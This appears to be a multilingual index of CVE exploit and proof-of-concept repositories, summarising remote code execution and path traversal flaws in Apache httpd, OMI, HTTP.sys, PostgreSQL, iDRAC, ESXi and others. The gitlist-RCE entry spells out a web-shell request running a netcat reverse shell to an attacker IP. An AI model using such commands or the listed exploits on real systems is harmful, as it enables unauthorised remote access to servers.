cve-2021-42013

Apache 2.4.50 - Path Traversal ou Execução Remota de Código cve-2021-42013.py é um script Python que ajudará a encontrar a vulnerabilidade de Path Traversal ou Execução Remota de Código no Apache 2.4.50. Uma instância vulnerável do Docker é fornecida para você colocar a mão na massa no...

cve-2021-41773-v-

Apache httpd RCE Es wurde ein Fehler in einer Änderung der Pfadnormalisierung in Apache HTTP Server 2.4.49 gefunden. Ein Angreifer könnte einen Path-Traversal-Angriff verwenden, um URLs Dateien außerhalb der durch Alias-ähnliche Direktiven konfigurierten Verzeichnisse zuzuordnen. Wenn Dateien...

cve-2021-41773

Apache httpd RCE È stata riscontrata una vulnerabilità in una modifica apportata alla normalizzazione dei path in Apache HTTP Server 2.4.49. Un attaccante potrebbe utilizzare un attacco di path traversal per mappare gli URL a file esterni alle directory configurate tramite direttive simili ad...

CVE-2021-41773m

CVE-2021-41773 🐛 Vulnerabilità di path traversal e divulgazione di file in Apache HTTP Server 2.4.49 È stato riscontrato un difetto in una modifica apportata alla normalizzazione dei percorsi in Apache HTTP Server 2.4.49. Un attaccante potrebbe utilizzare un attacco di path traversal per mappare...

CVE-2021-41773S

Imagens Docker vulneráveis para o CVE-2021-41773 path traversal do Apache Esta vulnerabilidade apenas se aplica à versão 2.4.49 que possui configurações específicas não padrão. Em certas situações, isso pode resultar em leitura de arquivos ou execução de código...

CVE-2021-41773-L-

CVE-2021-41773 🐛 Vulnerabilità di path traversal e divulgazione di file in Apache HTTP Server 2.4.49 È stato trovato un difetto in una modifica apportata alla normalizzazione dei percorsi in Apache HTTP Server 2.4.49. Un attaccante potrebbe utilizzare un attacco di path traversal per mappare gli...

CVE-2021-38647

CVE-2021-38647 Questo è un POC per CVE-2021-38647 : Invia una richiesta POST a /wsman con il contenuto di payload.xml e cambia solo il comando con quello desiderato, Come POC, viene eseguito solo il comando id. Fonte: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure Segui se...

CVE-2022-21907-Vulnerability-PoC

CVE-2022-21907 Descrizione - POC per CVE-2022-21907: Vulnerabilità di esecuzione remota di codice nello stack del protocollo HTTP. - creato da antx il 17-01-2022, solo alcune piccole correzioni da Michele "[email protected]" Dettaglio - Vulnerabilità di esecuzione remota di codice nello...

CVE-2026-57170

A flaw was found in compliance-trestle. The custom Jinja2 include tags, mdsectioninclude and mdcleaninclude, incorrectly re-parse the content of included Markdown files as Jinja2 template code in a non-sandboxed environment. This vulnerability, known as Server-Side Template Injection SSTI, allows...

gitlist-RCE

gitlist-RCE CVE-2014-4511 esempio: dopo il caricamento riuscito della shell: accesso: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2026-54757

A flaw was found in Trestle, a Python SDK and command-line tool for managing OSCAL compliance documents. This vulnerability involves server-side template injection SSTI due to the MDCleanInclude and MDSectionInclude Jinja2 tags improperly re-parsing untrusted Markdown content as template source...

CVE-2020-12078

CVE-2020-12078 O exploit oficial para Open-AudIT v3.3.1 Execução Remota de Código CVE-2020-12078...

CVE-2019-20224

CVE-2019-20224 L'exploit ufficiale per Pandora v7.0NG Esecuzione Remota di Codice post-autenticazione CVE-2019-20224...

CVE-2019-16663

CVE-2019-16663 Der offizielle Exploit-Code für Centreon v19.04 Remotecodeausführung CVE-2019-16662...

CVE-2019-16662

CVE-2019-16662 L'exploit ufficiale per rConfig 3.9.2 Esecuzione di codice remoto CVE-2019-16662...

CVE-2019-13024

CVE-2019-13024 O código oficial do exploit para Centreon v19.04 Execução Remota de Código CVE-2019-13024...

CVE-2026-16238

A flaw was found in PostgreSQL. An object creator can exploit a type confusion vulnerability in the pgrestoreattributestats function. This flaw occurs due to the conflation of range and multirange values, allowing the attacker to execute arbitrary code as the operating system user running the...

CVE-2026-14677

A flaw was found in PostgreSQL. An integer wraparound vulnerability in 32-bit builds of pltcl and plperl allows an object creator to cause the server to undersize an allocation and write out-of-bounds via crafted function bodies. This can lead to arbitrary code execution as the operating system...

cve-2018-1207

cve-2018-1207 Exploit iDRAC 7 & 8 firmware 2.52.52.52 Beschreibung Dell EMC iDRAC7/iDRAC8, Versionen vor 2.52.52.52, enthalten eine CGI-Injection-Schwachstelle, die zur Ausführung von Remote-Code genutzt werden könnte. Ein entfernter, nicht authentifizierter Angreifer könnte möglicherweise...

CVE-2021-21974

CVE-2021-21974 PoC - VMware ESXi RCE-Exploit Beschreibung Dieses Repository enthält einen Proof of Concept PoC für die Schwachstelle CVE-2021-21974 , eine Schwachstelle zur Remote-Codeausführung RCE im OpenSLP-Dienst von VMware ESXi. Eine erfolgreiche Ausnutzung kann es einem nicht...